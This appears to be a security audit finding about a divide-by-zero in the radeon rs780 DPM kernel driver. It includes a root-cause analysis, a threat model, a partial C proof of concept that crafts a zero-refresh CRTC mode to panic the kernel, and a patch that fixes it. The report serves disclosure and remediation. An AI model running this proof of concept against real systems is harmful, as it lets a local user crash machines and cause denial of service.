Summary

rs780_program_at() divides five constants by pi->refresh_rate with no zero-check. The field is seeded to 60 in rs780_get_pm_mode_parameters() but is unconditionally overwritten with drm_mode_vrefresh(&crtc->mode) whenever an enabled CRTC has nonzero htotal and vtotal. drm_mode_vrefresh() returns 0 when mode->vrefresh == 0 and DIV_ROUND_CLOSEST(clock*1000, htotal*vtotal) rounds to 0 — a condition a local user can deliberately construct. The next DPM display-configuration-changed callback then panics the kernel with a divide-by-zero.

Root cause

rs780_get_pm_mode_parameters() at sys/dev/drm/radeon/rs780_dpm.c:65-66 only guards if (crtc->mode.htotal && crtc->mode.vtotal) before assigning:

pi->refresh_rate = drm_mode_vrefresh(&crtc->mode);

It does NOT validate that the result is non-zero. drm_mode_vrefresh() (sys/dev/drm/drm_modes.c:777-799) computes refresh = DIV_ROUND_CLOSEST(mode->clock*1000, htotal*vtotal) when mode->vrefresh==0; if clock*1000 < (htotal*vtotal)/2 this rounds to 0. drm_mode_validate_basic() (drm_modes.c:1102) only rejects clock==0, not small clocks, and never validates vrefresh, so a user-supplied mode with clock=10000, htotal=8192, vtotal=8192 (refresh rounds to 0) passes drm_mode_convert_umode() validation (drm_modes.c:1745).

The resulting refresh_rate==0 is then used directly as a divisor in rs780_program_at() at lines 366–370:

WREG32(FVTHROT_TARGET_REG, 30000000 / pi->refresh_rate);   /* line 366 */
WREG32(FVTHROT_CB1, 1000000 * 5 / pi->refresh_rate);       /* line 367 */
WREG32(FVTHROT_CB2, 1000000 * 10 / pi->refresh_rate);      /* line 368 */
WREG32(FVTHROT_CB3, 1000000 * 30 / pi->refresh_rate);      /* line 369 */
WREG32(FVTHROT_CB4, 1000000 * 50 / pi->refresh_rate);      /* line 370 */

rs780_program_at() is reachable from rs780_dpm_enable() (line 620, DPM init) and rs780_dpm_display_configuration_changed() (line 688), the latter invoked by the radeon PM worker (radeon_pm.c:1095, 1114, 1144) whenever the active CRTC set changes — i.e. on the user's next modeset.

Threat model

Local unprivileged user with DRM master privilege (typically any user in the video group able to open /dev/dri/card0 and acquire master via drmSetMaster, or the active session master). On RS780/RS880 IGP hardware with radeon DPM enabled (module param radeon.dpm defaults to -1 = auto; DPM is enabled by default on these IGP parts):

1. Set a CRTC mode with clock small relative to htotal*vtotal (e.g. clock=10000, htotal=8192, vtotal=8192) and vrefresh=0 via DRM_IOCTL_MODE_SETCRTC.
2. Trigger or wait for the next display configuration change which invokes radeon_dpm_display_configuration_changed → rs780_dpm_display_configuration_changed → rs780_get_pm_mode_parameters (sets refresh_rate=0) → rs780_program_at → kernel divide-by-zero panic.

Impact

Reliable local denial of service (system hang / reboot). No privilege escalation, no info leak. Whether the crafted mode survives the radeon per-connector mode_valid callback is the only uncertainty — hence likely rather than certain.

PoC

findings/poc/DF-1650/poc.c:

#include <fcntl.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <stdio.h>
#include <drm/drm.h>
#include <drm/drm_mode.h>

int main(void) {
    int fd = open("/dev/dri/card0", O_RDWR);
    if (fd < 0) { perror("open"); return 1; }
    if (ioctl(fd, DRM_IOCTL_SET_MASTER, 0) < 0 && errno != EINVAL) {
        perror("setmaster"); return 1;
    }

    /* Enumerate first CRTC + connector + framebuffer (omitted for
     * brevity — use DRM_IOCTL_MODE_GETRESOURCES / GETCONNECTOR and
     * DRM_IOCTL_MODE_ADDFB to obtain crtc_id, connector_id, fb_id). */
    uint32_t crtc_id = /* ... */ 0;
    uint32_t connector_id = /* ... */ 0;
    uint32_t fb_id = /* ... */ 0;

    struct drm_mode_modeinfo mode = {
        .clock      = 10000,        /* 10 MHz; passes drm_mode_validate_basic */
        .hdisplay   = 1, .hsync_start = 2, .hsync_end = 3, .htotal = 8192,
        .vdisplay   = 1, .vsync_start = 2, .vsync_end = 3, .vtotal = 8192,
        .vrefresh   = 0,            /* forces compute path in drm_mode_vrefresh */
        .flags      = 0,
        .type       = DRM_MODE_TYPE_USERDEF,
    };
    /* DIV_ROUND_CLOSEST(10000*1000, 8192*8192)
     * = DIV_ROUND_CLOSEST(10000000, 67108864) = 0  -> refresh_rate = 0 */
    strncpy(mode.name, "POCZERO", sizeof(mode.name));

    struct drm_mode_crtc crtc = {0};
    crtc.crtc_id            = crtc_id;
    crtc.fb_id              = fb_id;
    crtc.set_connectors_ptr = (uintptr_t)&connector_id;
    crtc.count_connectors   = 1;
    crtc.mode_valid         = 1;
    crtc.mode               = mode;

    if (ioctl(fd, DRM_IOCTL_MODE_SETCRTC, &crtc) < 0) {
        perror("setcrtc"); return 1;
    }

    /* Wait for the PM worker; it's periodic. */
    sleep(2);
    /* Toggle DPMS to force a display configuration change. */
    int32_t dpms = 0;
    ioctl(fd, DRM_IOCTL_MODE_SETDPMS, &dpms);
    sleep(2);
    return 0;
}

Build: cc -O2 -o poc poc.c. Run as a user with access to /dev/dri/card0 (e.g. in the video group).

Expected: kernel panic with trap divide error / kernel: panic: divide_by_zero in rs780_program_at shortly after the modeset. dmesg will show the panic backtrace pointing at rs780_dpm.c:366.

If the radeon connector's mode_valid rejects the crafted low-clock mode, vary parameters (e.g. clock=25000, htotal=16384, vtotal=8192) — the only constraint is clock*1000 < htotal*vtotal/2.

Recommended fix

Refuse refresh_rate == 0 in rs780_get_pm_mode_parameters() rather than letting it reach the divisions. Apply at the source so every caller of rs780_program_at() is safe without having to re-audit each one:

--- a/sys/dev/drm/radeon/rs780_dpm.c
+++ b/sys/dev/drm/radeon/rs780_dpm.c
@@ -62,8 +62,11 @@ static void rs780_get_pm_mode_parameters(struct radeon_device *rdev)
        if (crtc && crtc->enabled) {
            radeon_crtc = to_radeon_crtc(crtc);
            pi->crtc_id = radeon_crtc->crtc_id;
-           if (crtc->mode.htotal && crtc->mode.vtotal)
-               pi->refresh_rate = drm_mode_vrefresh(&crtc->mode);
+           if (crtc->mode.htotal && crtc->mode.vtotal) {
+               int vref = drm_mode_vrefresh(&crtc->mode);
+               if (vref > 0)
+                   pi->refresh_rate = vref;
+           }
            break;
        }
    }

And as belt-and-suspenders defense-in-depth, also guard rs780_program_at() itself so a future caller can't reintroduce the panic:

--- a/sys/dev/drm/radeon/rs780_dpm.c
+++ b/sys/dev/drm/radeon/rs780_dpm.c
@@ -362,6 +362,9 @@ static void rs780_program_at(struct radeon_device *rdev)
 {
    struct igp_power_info *pi = rs780_get_pi(rdev);

+   if (pi->refresh_rate == 0)
+       pi->refresh_rate = 60; /* defensive: avoid divide-by-zero */
+
    WREG32(FVTHROT_TARGET_REG, 30000000 / pi->refresh_rate);
    WREG32(FVTHROT_CB1, 1000000 * 5 / pi->refresh_rate);
    WREG32(FVTHROT_CB2, 1000000 * 10 / pi->refresh_rate);

Related findings

• DF-1603 (virtio_blk.c blk_size=0 divide-by-zero)
• DF-1611/1612 (dcn10_hubp.c pixel-clock/htotal divide-by-zero)
• DF-1616 (ath_beacon.c lintval==0 divide-by-zero)
• DF-1648 (freesync.c min_vfreq==0 divide-by-zero)

All members of the untrusted-{clock,size,interval}-as-divisor class.